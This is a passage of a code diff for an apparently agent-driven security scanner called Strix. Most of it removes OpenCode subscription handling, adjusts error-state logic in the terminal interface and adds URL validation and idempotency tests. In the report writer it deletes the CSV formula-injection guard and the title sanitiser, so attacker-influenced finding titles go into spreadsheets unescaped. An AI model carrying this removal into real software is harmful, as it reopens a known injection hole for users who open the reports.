+        lambda match: f"\\x{ord(match.group()):02x}",
+        str(value),
+    )

strix/interface/tui/backend/controller.py

@@ -24,7 +24,7 @@ from strix.interface.tui.backend.projection import (
     sanitize_terminal_text,
     terminal_projection,
 )
-from strix.interface.utils import is_subscription_run, subscription_label
+from strix.interface.utils import is_subscription_run
 
 
 if TYPE_CHECKING:
@@ -187,10 +187,6 @@ class TuiController:
         subscription = False
         with contextlib.suppress(Exception):
             subscription = is_subscription_run(self.report_state)
-        label = ""
-        if subscription:
-            with contextlib.suppress(Exception):
-                label = subscription_label()
         model_warning = ""
         if model and not is_recommended_or_frontier_model(model):
             model_warning = (
@@ -227,7 +223,6 @@ class TuiController:
             ],
             "usage": terminal_projection(usage, max_string=256, max_items=20),
             "subscription": subscription,
-            "subscription_label": label,
             "connections": [
                 {
                     "name": terminal_projection(entry["name"], max_string=64),
@@ -416,7 +411,6 @@ class TuiController:
             delivered = await asyncio.wrap_future(future)
         if not delivered:
             raise RuntimeError("Message could not be delivered")
-        self.live_view.upsert_agent(agent_id, status="waiting", error_message=None)
         return {"sent": True}
 
     async def _stop_agent(self, payload: dict[str, Any]) -> dict[str, Any]:

strix/interface/tui/backend/live_view.py

@@ -60,9 +60,6 @@ class TuiLiveView(BaseLiveView):
         if error_message and current.get("error_message") != error_message:
             current["error_message"] = error_message
             changed = True
-        elif error_message is None and "error_message" in current:
-            current.pop("error_message", None)
-            changed = True
         if changed:
             current["updated_at"] = now
         return changed

strix/interface/tui/backend/projection.py

@@ -164,14 +164,13 @@ def bounded_state_projection(state: dict[str, Any]) -> dict[str, Any]:
         "scan_state": state["scan_state"],
         "targets": state["targets"][:4],
         "target_count": state["target_count"],
-        "working_dir": terminal_projection(state.get("working_dir", ""), max_string=256),
-        "pending_mount": terminal_projection(state.get("pending_mount", ""), max_string=256),
         "instruction": terminal_projection(state["instruction"], max_string=128),
         "scan_mode": state["scan_mode"],
         "max_budget_usd": state["max_budget_usd"],
         "max_turns": state["max_turns"],
         "scope_mode": state["scope_mode"],
         "diff_base": state["diff_base"],
+        "provider": state["provider"],
         "model": state["model"],
         "model_warning": "",
         "caido_url": None,

strix/interface/tui/internal/app/model.go

@@ -359,9 +359,7 @@ func (m Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
 				m.resyncRequested[msg.collection] = false
 			}
 		} else if msg.command == "collection.resync" && msg.requestID != "" && msg.collection != "" {
-			if m.resyncRequested[msg.collection] {
-				m.resyncRequests[msg.requestID] = msg.collection
-			}
+			m.resyncRequests[msg.requestID] = msg.collection
 		}
 	case selectionCopiedMsg:
 		text := "Copied to clipboard"

strix/interface/tui/internal/app/model_test.go

@@ -103,21 +103,6 @@ func bootstrapEnvelope(t *testing.T, collection string, revision int, items ...a
 	return protocol.Envelope{Version: protocol.Version, Type: "collection_bootstrap", Payload: rawJSON(t, payload)}
 }
 
-func TestStateSnapshotClearsNilError(t *testing.T) {
-	model := New(nil)
-	errText := "provider rejected"
-	model.handleEnvelope(stateEnvelope(t, 1, protocol.Snapshot{ScanState: "failed", Error: &errText}))
-	if model.errorText != errText {
-		t.Fatalf("error was not installed: %q", model.errorText)
-	}
-
-	model.handleEnvelope(stateEnvelope(t, 2, protocol.Snapshot{ScanState: "running"}))
-
-	if model.errorText != "" {
-		t.Fatalf("nil snapshot error did not clear errorText: %q", model.errorText)
-	}
-}
-
 func TestBackendDisconnectBecomesFatalUnlessUserIsQuitting(t *testing.T) {
 	model := New(nil)
 	updated, cmd := model.Update(wireErrMsg{err: fmt.Errorf("socket closed")})
@@ -175,27 +160,6 @@ func TestCollectionBootstrapChunksAndVersionedDelta(t *testing.T) {
 	}
 }
 
-func TestAgentCollectionDeltaClearsErrorMessage(t *testing.T) {
-	model := New(nil)
-	failed := protocol.Agent{ID: "root", Name: "Strix", Status: "failed", ErrorMessage: "provider rejected"}
-	model.handleEnvelope(bootstrapEnvelope(t, "agents", 1, failed))
-
-	resumed := protocol.Agent{ID: "root", Name: "Strix", Status: "waiting"}
-	delta := protocol.CollectionDelta{
-		Collection: "agents", BaseRevision: 1, Revision: 2, Cursor: 0, NextCursor: 1, Done: true,
-		Operations: []protocol.CollectionOperation{{Op: "upsert", Item: rawJSON(t, resumed)}},
-	}
-	model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, delta)})
-
-	if len(model.snapshot.Agents) != 1 {
-		t.Fatalf("agents were not retained: %#v", model.snapshot.Agents)
-	}
-	agent := model.snapshot.Agents[0]
-	if agent.Status != "waiting" || agent.ErrorMessage != "" {
-		t.Fatalf("agent error was not cleared: %#v", agent)
-	}
-}
-
 func TestCollectionMismatchRequestsOneResync(t *testing.T) {
 	connection := &recordingConn{}
 	model := New(newClient(connection))
@@ -220,42 +184,6 @@ func TestCollectionMismatchRequestsOneResync(t *testing.T) {
 	}
 }
 
-func TestFailedResyncResultBeforeSentMsgRearmsResync(t *testing.T) {
-	connection := &recordingConn{}
-	model := New(newClient(connection))
-	model.collectionRevisions["events"] = 4
-	bad := protocol.CollectionDelta{
-		Collection: "events", BaseRevision: 2, Revision: 3, Cursor: 0, NextCursor: 0, Done: true,
-	}
-
-	cmd := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)})
-	if cmd == nil {
-		t.Fatal("revision mismatch did not request a resync")
-	}
-	sent, ok := cmd().(sentMsg)
-	if !ok || sent.err != nil || sent.requestID == "" {
-		t.Fatalf("resync send = %#v", sent)
-	}
-
-	failed := protocol.CommandResult{
-		OK:      false,
-		Command: "collection.resync",
-		Error:   &protocol.CommandError{Code: "command_failed", Message: "resync failed"},
-	}
-	model.handleEnvelope(protocol.Envelope{
-		Version: protocol.Version, Type: "command_result", RequestID: sent.requestID, Payload: rawJSON(t, failed),
-	})
-	updated, _ := model.Update(sent)
-	model = updated.(Model)
-
-	if model.resyncRequested["events"] {
-		t.Fatal("failed resync result left resync suppressed")
-	}
-	if retry := model.handleEnvelope(protocol.Envelope{Version: protocol.Version, Type: "collection_delta", Payload: rawJSON(t, bad)}); retry == nil {
-		t.Fatal("resync was not rearmed after failure")
-	}
-}
-
 func TestAgentsCollectionPreservesSelectedIDAcrossUpsertsAndDeletes(t *testing.T) {
 	model := New(nil)
 	model.handleEnvelope(bootstrapEnvelope(t, "agents", 1,

strix/interface/tui/internal/app/view.go

@@ -617,11 +617,7 @@ func (m Model) statsView() string {
 		if b.Len() > 0 {
 			b.WriteString("\n")
 		}
-		label := m.snapshot.SubscriptionLabel
-		if label == "" {
-			label = "ChatGPT subscription"
-		}
-		b.WriteString(lipgloss.NewStyle().Foreground(green).Render(label))
+		b.WriteString(lipgloss.NewStyle().Foreground(green).Render("ChatGPT subscription"))
 	}
 	total := numberValue(m.snapshot.Usage["total_tokens"])
 	if total > 0 {

strix/interface/tui/internal/app/wire.go

@@ -33,8 +33,6 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
 		m.stateRevision = update.Revision
 		if m.snapshot.Error != nil {
 			m.errorText = *m.snapshot.Error
-		} else {
-			m.errorText = ""
 		}
 		if m.snapshot.SetupMode {
 			// The start screen is its own landing page; never sit on the
@@ -81,10 +79,6 @@ func (m *Model) handleEnvelope(envelope protocol.Envelope) tea.Cmd {
 				if collection := m.resyncRequests[envelope.RequestID]; collection != "" {
 					m.resyncRequested[collection] = false
 					delete(m.resyncRequests, envelope.RequestID)
-				} else {
-					for collection := range m.resyncRequested {
-						m.resyncRequested[collection] = false
-					}
 				}
 			}
 			message := "Command failed"

strix/interface/tui/internal/protocol/protocol.go

@@ -79,7 +79,6 @@ type Snapshot struct {
 	Vulnerabilities     []map[string]any `json:"-"`
 	Usage               map[string]any   `json:"usage"`
 	Subscription        bool             `json:"subscription"`
-	SubscriptionLabel   string           `json:"subscription_label"`
 	Connections         []Connection     `json:"connections"`
 	ViewerStatus        string           `json:"viewer_status"`
 	ViewerURL           *string          `json:"viewer_url"`

strix/interface/tui/live_view.py

@@ -103,7 +103,6 @@ class TuiLiveView:
         statuses = agents_data.get("statuses") or {}
         names = agents_data.get("names") or {}
         parent_of = agents_data.get("parent_of") or {}
-        errors = agents_data.get("errors") or {}
         if not isinstance(statuses, dict):
             return
         for agent_id, status in statuses.items():
@@ -114,7 +113,6 @@ class TuiLiveView:
                 name=names.get(agent_id, agent_id) if isinstance(names, dict) else agent_id,
                 parent_id=parent_of.get(agent_id) if isinstance(parent_of, dict) else None,
                 status=str(status),
-                error_message=errors.get(agent_id) if isinstance(errors, dict) else None,
             )
         # Ahead of the replayed history, so it opens the transcript.
         self.flush_user_instruction()

strix/interface/tui/runtime.py

@@ -258,9 +258,6 @@ class GoTuiRuntime:
             scan_state = "failed"
             if root_id is not None and errors.get(root_id):
                 self.controller.error = errors[root_id]
-        elif scan_state == "failed" and root_status in {"running", "waiting", "budget_paused"}:
-            scan_state = "running"
-            self.controller.error = None
         elif scan_state != "failed":
             if report_status == "completed":
                 scan_state = "completed"

strix/interface/url_safety.py

@@ -0,0 +1,85 @@
+"""Validation for URLs printed or opened on behalf of a remote service."""
+
+from __future__ import annotations
+
+import ipaddress
+from urllib.parse import SplitResult, urlsplit
+
+from strix.interface.terminal_text import has_terminal_control
+
+
+def is_safe_web_url(
+    value: object,
+    *,
+    trusted_origin: str | None = None,
+    require_trusted_origin: bool = False,
+) -> bool:
+    """Accept a strict HTTP(S) URL, optionally only on a pre-trusted origin."""
+    parsed = _parse(value)
+    if parsed is None:
+        return False
+    trusted = _parse(trusted_origin) if trusted_origin is not None else None
+    same_origin = trusted is not None and _origin(parsed) == _origin(trusted)
+    if require_trusted_origin:
+        return same_origin
+    if same_origin:
+        return True
+    return _is_safe_external_https(parsed)
+
+
+def _is_safe_external_https(parsed: SplitResult) -> bool:
+    """Reject local, numeric-looking, or otherwise ambiguous external hosts."""
+    hostname = (parsed.hostname or "").lower().rstrip(".")
+    if (
+        parsed.scheme != "https"
+        or hostname == "localhost"
+        or hostname.endswith((".localhost", ".local"))
+    ):
+        return False
+    try:
+        return ipaddress.ip_address(hostname).is_global
+    except ValueError:
+        pass
+    labels = hostname.split(".")
+    return len(labels) >= 2 and not all(_looks_numeric(label) for label in labels)
+
+
+def _parse(value: object) -> SplitResult | None:
+    if not isinstance(value, str) or not value or has_terminal_control(value):
+        return None
+    if "\\" in value or any(character.isspace() for character in value):
+        return None
+    try:
+        parsed = urlsplit(value)
+        port = parsed.port
+    except ValueError:
+        return None
+    hostname = parsed.hostname
+    if (
+        parsed.scheme not in {"http", "https"}
+        or not hostname
+        or parsed.username is not None
+        or parsed.password is not None
+        or parsed.fragment
+        or "%" in parsed.netloc
+    ):
+        return None
+    try:
+        hostname.encode("ascii")
+    except UnicodeEncodeError:
+        return None
+    return parsed if port is None or 1 <= port <= 65535 else None
+
+
+def _origin(parsed: SplitResult) -> tuple[str, str, int]:
+    default_port = 443 if parsed.scheme == "https" else 80
+    return parsed.scheme, (parsed.hostname or "").lower().rstrip("."), parsed.port or default_port
+
+
+def _looks_numeric(label: str) -> bool:
+    lowered = label.lower()
+    if lowered.startswith("0x"):
+        return len(lowered) > 2 and all(
+            character in "0123456789abcdef" for character in lowered[2:]
+        )
+    return bool(lowered) and all(character.isdigit() for character in lowered)

strix/interface/utils.py

@@ -281,27 +281,9 @@ def is_subscription_run(report_state: Any) -> bool:
     record = getattr(report_state, "run_record", None)
     if isinstance(record, dict) and record.get("auth_mode"):
         return record.get("auth_mode") == "subscription"
-    from strix.config import opencode
+    from strix.config import codex
 
-    return opencode.auth_mode(load_settings().llm.model) == "subscription"
-
-
-def subscription_label() -> str:
-    """Display name of the subscription behind the configured model."""
-    from strix.config import opencode
-
-    oc = opencode.subscription_model(load_settings().llm.model)
-    if oc:
-        return oc.label
-    return "ChatGPT subscription"
-
-
-def subscription_is_metered() -> bool:
-    """Whether the run spends per-request credits rather than a flat plan."""
-    from strix.config import opencode
-
-    oc = opencode.subscription_model(load_settings().llm.model)
-    return oc is not None and oc.metered
+    return codex.auth_mode(load_settings().llm.model) == "subscription"
 
 
 def _int_stat(usage: dict[str, Any], key: str) -> int:
@@ -344,9 +326,7 @@ def _build_llm_usage_stats(
     if not usage or _int_stat(usage, "requests") <= 0:
         stats_text.append("\n")
         stats_text.append("Cost ", style="dim")
-        if subscription and subscription_is_metered():
-            stats_text.append("credits ", style="#22c55e")
-        elif subscription:
+        if subscription:
             stats_text.append("$0.00 ", style="#22c55e")
             stats_text.append("(subscription) ", style="dim")
         else:
@@ -375,19 +355,7 @@ def _build_llm_usage_stats(
     stats_text.append("Output Tokens ", style="dim")
     stats_text.append(format_token_count(output_tokens), style="white")
 
-    if subscription and subscription_is_metered():
-        # Zen spends prepaid credits per request, so a run is not free. Its
-        # Anthropic route runs through LiteLLM and yields a real charge; the
-        # OpenAI-SDK routes report none, and an unpriced run says so rather
-        # than claiming $0.00.
-        stats_text.append("  ·  ", style="dim white")
-        stats_text.append("Cost ", style="dim")
-        if cost > 0:
-            stats_text.append(f"${cost:.4f}", style="#22c55e")
-            stats_text.append(" (credits)", style="dim")
-        else:
-            stats_text.append("credits", style="#22c55e")
-    elif subscription:
+    if subscription:
         stats_text.append("  ·  ", style="dim white")
         stats_text.append("Cost ", style="dim")
         stats_text.append("$0.00", style="#22c55e")
@@ -419,7 +387,7 @@ def build_live_stats_text(report_state: Any) -> Text:
     stats_text.append(str(model), style="white")
     if is_subscription_run(report_state):
         stats_text.append("  ·  ", style="dim white")
-        stats_text.append(subscription_label(), style="#22c55e")
+        stats_text.append("ChatGPT subscription", style="#22c55e")
     stats_text.append("\n")
 
     vuln_count = len(report_state.vulnerability_reports)
@@ -465,7 +433,7 @@ def build_tui_stats_text(report_state: Any) -> Text:
     subscription = is_subscription_run(report_state)
     if subscription:
         stats_text.append("\n")
-        stats_text.append(subscription_label(), style="#22c55e")
+        stats_text.append("ChatGPT subscription", style="#22c55e")
 
     usage = _llm_usage(report_state)
     if usage and _int_stat(usage, "total_tokens") > 0:

strix/interface/viewer/frontend/src/components/RunDetails.tsx

@@ -101,23 +101,6 @@ export function RunDetails({
   const totalTokens = num(usage.total_tokens);
   const cost = num(usage.cost);
   const subscription = str(raw.auth_mode) === "subscription";
-  const subscriptionProvider =
-    str(raw.subscription_provider) ??
-    (models.some((m) => m.toLowerCase().startsWith("opencode")) ? "opencode" : "chatgpt");
-  // Runs recorded before subscription_plan existed still carry the model string,
-  // whose prefix names the plan.
-  const subscriptionPlan =
-    str(raw.subscription_plan) ??
-    (models.some((m) => m.toLowerCase().startsWith("opencode-go/")) ? "go" : "zen");
-  const subscriptionLabel =
-    subscriptionProvider === "opencode"
-      ? subscriptionPlan === "go"
-        ? "OpenCode Go"
-        : "OpenCode Zen"
-      : "ChatGPT subscription";
-  // Zen bills prepaid credits per request, so its runs are not free and there is
-  // no price table to estimate them from. Go is a flat monthly plan.
-  const metered = subscriptionProvider === "opencode" && subscriptionPlan === "zen";
 
   const sub = (n: number, word: string) => (
     <span className="text-[#666]"> ({formatNumber(n)} {word})</span>
@@ -197,7 +180,7 @@ export function RunDetails({
                 <Field label="Provider">
                   <span className="inline-flex items-center gap-1.5">
                     <span className="rounded-full border border-[#22c55e]/40 bg-[#22c55e]/10 px-2 py-0.5 text-[11px] text-[#22c55e]">
-                      {subscriptionLabel}
+                      ChatGPT subscription
                     </span>
                   </span>
                 </Field>
@@ -217,21 +200,7 @@ export function RunDetails({
                 </Field>
               )}
               {totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
-              {subscription && metered ? (
-                <Field label="Cost">
-                  {cost != null && cost > 0 ? (
-                    <>
-                      <span className="text-[#22c55e]">${cost.toFixed(2)}</span>
-                      <span className="text-[#666]"> (Zen credits)</span>
-                    </>
-                  ) : (
-                    <>
-                      <span className="text-[#22c55e]">credits</span>
-                      <span className="text-[#666]"> (not priced locally)</span>
-                    </>
-                  )}
-                </Field>
-              ) : subscription ? (
+              {subscription ? (
                 <Field label="Cost">
                   <span className="text-[#22c55e]">$0.00</span>
                   <span className="text-[#666]"> (subscription)</span>

strix/interface/viewer/static/index.html

@@ -6,8 +6,8 @@
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <meta name="color-scheme" content="dark" />
     <title>Strix Results</title>
-    <script type="module" crossorigin src="./assets/index-DD3_cI9L.js"></script>
-    <link rel="stylesheet" crossorigin href="./assets/index-Ccea__Xc.css">
+    <script type="module" crossorigin src="./assets/index-Bpn8GiSb.js"></script>
+    <link rel="stylesheet" crossorigin href="./assets/index-qwPOPAGC.css">
   </head>
   <body>
     <div id="root"></div>

strix/llm/context_budget.py

@@ -18,8 +18,6 @@ logger = logging.getLogger(__name__)
 _STRIPPABLE_PREFIXES = (
     "openai/",
     "chatgpt/",
-    "opencode-go/",
-    "opencode/",
     "litellm/",
     "any-llm/",
     "ollama/",
@@ -50,11 +48,7 @@ def _model_info(model: str) -> dict[str, int]:
     lookup_key = _lookup_key(model)
     # Provider-qualified ChatGPT lookups may start a synchronous device-login
     # poll. LiteLLM keys the metadata by the underlying model slug.
-    candidates = (
-        (lookup_key,)
-        if model.startswith(("chatgpt/", "opencode/", "opencode-go/"))
-        else (model, lookup_key)
-    )
+    candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
     for candidate in candidates:
         info = _safe_get_model_info(candidate)
         if info is not None:

strix/report/state.py

@@ -1,6 +1,5 @@
 import json
 import logging
-import re
 import subprocess
 import threading
 from collections.abc import Callable
@@ -10,7 +9,7 @@ from pathlib import Path
 from typing import TYPE_CHECKING, Any, Optional, cast
 from uuid import uuid4
 
-from strix.config import opencode
+from strix.config import codex
 from strix.config.loader import load_settings
 from strix.core.paths import run_dir_for, runtime_state_dir
 from strix.report.coverage import write_coverage
@@ -33,8 +32,6 @@ logger = logging.getLogger(__name__)
 
 _global_report_state: Optional["ReportState"] = None
 
-_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
-
 
 def _strix_version() -> str | None:
     """Best-effort package version for the SARIF tool.driver.version field."""
@@ -44,17 +41,6 @@ def _strix_version() -> str | None:
         return None
 
 
-def _clean_title(title: str) -> str:
-    """Return a single-line finding title.
-
-    A title quotes text from the scanned target, so it can carry newlines, tabs or
-    other control characters. Those break every artifact that renders the title on
-    one line, such as the markdown heading, the CSV cell and the TUI list. Control
-    characters become spaces and runs of whitespace collapse to one space.
-    """
-    return " ".join(_CONTROL_CHARS.sub(" ", title).split())
-
-
 def _number(value: Any) -> int | float:
     try:
         return float(value or 0)
@@ -152,13 +138,8 @@ class ReportState:
 
         self._llm_usage = LLMUsageLedger()
         self._telemetry_llm_usage_baseline: dict[str, Any] = {}
-        auth_mode = opencode.auth_mode(load_settings().llm.model)
-        oc = opencode.subscription_model(load_settings().llm.model)
-        # A flat subscription has no per-run charge to report. Zen bills prepaid
-        # credits per request, so its cost is real and stays tracked.
-        self._llm_usage.zero_cost = auth_mode == "subscription" and not (
-            oc is not None and oc.metered
-        )
+        auth_mode = codex.auth_mode(load_settings().llm.model)
+        self._llm_usage.zero_cost = auth_mode == "subscription"
         self.run_record: dict[str, Any] = {
             "run_id": self.run_id,
             "run_name": self.run_name,
@@ -166,8 +147,6 @@ class ReportState:
             "end_time": None,
             "status": "running",
             "auth_mode": auth_mode,
-            "subscription_provider": opencode.subscription_provider(load_settings().llm.model),
-            "subscription_plan": opencode.subscription_plan(load_settings().llm.model),
             "targets_info": [],
             "llm_usage": self._build_llm_usage_record(),
         }
@@ -243,15 +222,8 @@ class ReportState:
                 )
             self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
             for r in self.vulnerability_reports:
-                title = r.get("title")
-                stale_md = False
-                if isinstance(title, str):
-                    r["title"] = _clean_title(title)
-                    stale_md = r["title"] != title
                 rid = r.get("id")
-                # A finding already on disk keeps its markdown, unless cleaning
-                # changed the title: the heading on disk then needs a rewrite.
-                if isinstance(rid, str) and not stale_md:
+                if isinstance(rid, str):
                     self._saved_vuln_ids.add(rid)
             logger.info(
                 "report state hydrated %d vulnerability report(s)",
@@ -294,7 +266,7 @@ class ReportState:
 
         report: dict[str, Any] = {
             "id": report_id,
-            "title": _clean_title(title),
+            "title": title.strip(),
             "severity": severity.lower().strip(),
             "timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
         }

strix/report/writer.py

@@ -26,33 +26,10 @@ logger = logging.getLogger(__name__)
 
 _SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
 
-_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
-
 _FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
 _BACKTICK_RUN = re.compile(r"`+")
 
 
-def csv_safe(value: object) -> str:
-    """Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
-
-    Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
-    ``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
-    but has no notion of formula triggers, so such a value reaches the cell intact
-    and is executed on open (CWE-1236). Vulnerability titles quote text from the
-    scanned target, which is exactly the attacker-influenced input this guards
-    against.
-
-    Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
-    the cell is kept as literal text instead of being evaluated. Excel shows the
-    apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
-    that nothing runs.
-    """
-    text = str(value)
-    if text.startswith(_CSV_FORMULA_PREFIXES):
-        return "'" + text
-    return text
-
-
 def safe_fence(content: str) -> str:
     """Return a backtick fence that ``content`` cannot break out of.
 
@@ -174,11 +151,11 @@ def write_vulnerabilities(
     for report in sorted_reports:
         csv_writer.writerow(
             {
-                "id": csv_safe(report["id"]),
-                "title": csv_safe(report["title"]),
-                "severity": csv_safe(report["severity"].upper()),
-                "timestamp": csv_safe(report["timestamp"]),
-                "file": csv_safe(f"vulnerabilities/{report['id']}.md"),
+                "id": report["id"],
+                "title": report["title"],
+                "severity": report["severity"].upper(),
+                "timestamp": report["timestamp"],
+                "file": f"vulnerabilities/{report['id']}.md",
             },
         )
     atomic_write_text(csv_path, csv_buf.getvalue())
@@ -199,17 +176,11 @@ def write_vulnerabilities(
 
 
 def atomic_write_text(path: Path, payload: str) -> None:
-    """Write *payload* to *path* via a sibling temp file and an atomic rename.
-
-    ``newline=""`` disables newline translation so *payload* lands byte-for-byte:
-    the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
-    into ``\\r\\r\\n`` on Windows.
-    """
+    """Write *payload* to *path* via a sibling temp file and an atomic rename."""
     path.parent.mkdir(parents=True, exist_ok=True)
     with tempfile.NamedTemporaryFile(
         mode="w",
         encoding="utf-8",
-        newline="",
         dir=str(path.parent),
         prefix=f".{path.name}.",
         suffix=".tmp",

strix/utils/secret_files.py

@@ -23,9 +23,26 @@ def write_secret_text(path: Path, text: str) -> None:
     try:
         with os.fdopen(fd, "w", encoding="utf-8") as handle:
             handle.write(text)
-    except BaseException:
-        with contextlib.suppress(OSError):
-            tmp.unlink()
+    except BaseException as exc:
+        _cleanup_tmp(tmp, exc)
         raise
 
-    tmp.replace(path)
+    try:
+        tmp.replace(path)
+    except BaseException as exc:
+        _cleanup_tmp(tmp, exc)
+        raise
+
+
+def _cleanup_tmp(tmp: Path, cause: BaseException) -> None:
+    """Delete the temporary secret file. A failed delete must not stay silent."""
+    try:
+        tmp.unlink()
+    except FileNotFoundError:
+        pass
+    except OSError:
+        message = (
+            f"could not store the secret, and the temporary file {tmp} "
+            f"still holds it. Delete the file manually."
+        )
+        raise OSError(message) from cause

tests/test_auth_cli.py

@@ -2,12 +2,11 @@
 
 from __future__ import annotations
 
-import time
 from typing import TYPE_CHECKING, Any
 
 import pytest
 
-from strix.config import codex, opencode
+from strix.config import codex
 from strix.interface import auth_cli
 
 
@@ -105,60 +104,3 @@ def test_login_accepts_provider_aliases(provider: str, monkeypatch: pytest.Monke
 
     assert auth_cli.run_auth(["login", provider]) == 0
     assert reached["flow"] is True
-
-
-@pytest.mark.parametrize("provider", ["opencode", "OpenCode", "opencode-go", "zen"])
-def test_login_accepts_opencode_aliases(provider: str, monkeypatch: pytest.MonkeyPatch) -> None:
-    reached = {"login": False}
-
-    def _fake_login(_console: Any) -> int:
-        reached["login"] = True
-        return 0
-
-    monkeypatch.setattr(auth_cli, "_login_opencode", _fake_login)
-    assert auth_cli.run_auth(["login", provider]) == 0
-    assert reached["login"] is True
-
-
-def test_login_opencode_validates_and_saves(monkeypatch: pytest.MonkeyPatch) -> None:
-    saved: dict[str, str] = {}
-    monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "  sk-oc-test  ")
-    monkeypatch.setattr(opencode, "validate_api_key", lambda key: saved.setdefault("checked", key))
-    monkeypatch.setattr(opencode, "save_api_key", lambda key: saved.setdefault("key", key))
-
-    assert auth_cli.run_auth(["login", "opencode"]) == 0
-    assert saved == {"checked": "sk-oc-test", "key": "sk-oc-test"}
-
-
-def test_login_opencode_rejects_bad_key(monkeypatch: pytest.MonkeyPatch) -> None:
-    monkeypatch.setattr("rich.console.Console.input", lambda _self, *_a, **_k: "bad")
-
-    def _reject(_key: str) -> None:
-        raise opencode.OpencodeAuthError("invalid_key")
-
-    monkeypatch.setattr(opencode, "validate_api_key", _reject)
-    assert auth_cli.run_auth(["login", "opencode"]) == 1
-    assert opencode.is_authenticated() is False
-
-
-def test_logout_provider_scoped() -> None:
-    codex.save_record(
-        {
-            "type": "oauth",
-            "provider": "codex",
-            "access": "a",
-            "refresh": "r",
-            "account_id": "acct",
-            "expires_at": time.time() + 3600,
-        }
-    )
-    opencode.save_api_key("sk-oc-test")
-
-    assert auth_cli.run_auth(["logout", "opencode"]) == 0
-    assert opencode.is_authenticated() is False
-    assert codex.is_authenticated() is True
-
-    assert auth_cli.run_auth(["logout"]) == 0
-    assert codex.is_authenticated() is False
-
-    assert auth_cli.run_auth(["logout", "bogus"]) == 2

tests/test_cloud_idempotency.py

@@ -0,0 +1,203 @@
+"""Durable retry behavior for managed scan-launch commands."""
+
+from __future__ import annotations
+
+import json
+from typing import Any
+
+import pytest
+
+from strix.interface import cloud
+from strix.interface.cloud import http, runner
+from strix.interface.completions import completion_candidates
+
+
+class FakeResponse:
+    def __init__(self, payload: Any, *, status_code: int = 200) -> None:
+        self._payload = payload
+        self.status_code = status_code
+        self.headers = {"content-type": "application/json"}
+        self.text = json.dumps(payload)
+        self.closed = False
+
+    def json(self) -> Any:
+        return self._payload
+
+    def close(self) -> None:
+        self.closed = True
+
+
+@pytest.fixture(autouse=True)
+def _token(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setenv("STRIX_API_TOKEN", "idempotency-test-token")
+    monkeypatch.setattr(runner.time, "sleep", lambda _seconds: None)
+
+
+def test_scan_start_generates_and_sends_one_stable_key(
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: Any,
+) -> None:
+    seen: list[dict[str, Any]] = []
+    monkeypatch.setattr(runner, "uuid4", lambda: "generated-key")
+
+    def request(_method: str, _path: str, **kwargs: Any) -> FakeResponse:
+        seen.append(kwargs)
+        return FakeResponse({"scan_id": "scan-1", "status": "running"})
+
+    monkeypatch.setattr(http, "request", request)
+    assert cloud.run_cloud(["scans", "start", "--domain-ids", "domain-1", "--json"]) == 0
+    assert json.loads(capsys.readouterr().out)["scan_id"] == "scan-1"
+    assert len(seen) == 1
+    assert seen[0]["idempotency_key"] == "generated-key"
+    assert seen[0]["body"]["engagement_type"] == "live_test"
+
+
+def test_exact_transport_retry_reuses_key_and_body(
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    seen: list[tuple[str, dict[str, Any]]] = []
+
+    def request(_method: str, _path: str, **kwargs: Any) -> FakeResponse:
+        seen.append((kwargs["idempotency_key"], kwargs["body"]))
+        if len(seen) == 1:
+            raise http.CloudTransportError("response lost")
+        return FakeResponse({"scan_id": "scan-1", "status": "running"})
+
+    monkeypatch.setattr(http, "request", request)
+    command = [
+        "scans",
+        "start",
+        "--domain-ids",
+        "domain-1",
+        "--idempotency-key",
+        "retry-key",
+        "--json",
+    ]
+    assert cloud.run_cloud(command) == 0
+    assert len(seen) == 2
+    assert seen[0] == seen[1]
+    assert seen[0][0] == "retry-key"
+
+
+@pytest.mark.parametrize(
+    "payload,status",
+    [
+        ({"code": "idempotency_request_in_progress", "retry_safe": True}, 409),
+        ({"code": "idempotency_outcome_unknown", "retry_safe": True}, 503),
+        ({"detail": "gateway unavailable"}, 502),
+        ({"detail": "rate limited"}, 429),
+    ],
+)
+def test_retryable_responses_are_closed_and_replayed(
+    payload: dict[str, Any],
+    status: int,
+    monkeypatch: pytest.MonkeyPatch,
+) -> None:
+    first = FakeResponse(payload, status_code=status)
+    responses = iter((first, FakeResponse({"scan_id": "scan-1", "status": "running"})))
+    keys: list[str] = []
+
+    def request(_method: str, _path: str, **kwargs: Any) -> FakeResponse:
+        keys.append(kwargs["idempotency_key"])
+        return next(responses)
+
+    monkeypatch.setattr(http, "request", request)
+    assert (
+        cloud.run_cloud(
+            [
+                "scans",
+                "rerun",
+                "scan-old",
+                "--idempotency-key",
+                "same-key",
+                "--json",
+            ]
+        )
+        == 0
+    )
+    assert keys == ["same-key", "same-key"]
+    assert first.closed is True
+
+
+def test_terminal_key_conflict_is_not_retried(
+    monkeypatch: pytest.MonkeyPatch,
+    capsys: Any,
+) -> None:
+    calls = 0
+
+    def request(_method: str, _path: str, **_kwargs: Any) -> FakeResponse:
+        nonlocal calls
+        calls += 1
+        return FakeResponse(
+            {
+                "detail": "key belongs to another request",
+                "code": "idempotency_key_conflict",
+                "terminal": True,
+            },
+            status_code=409,
+        )
+
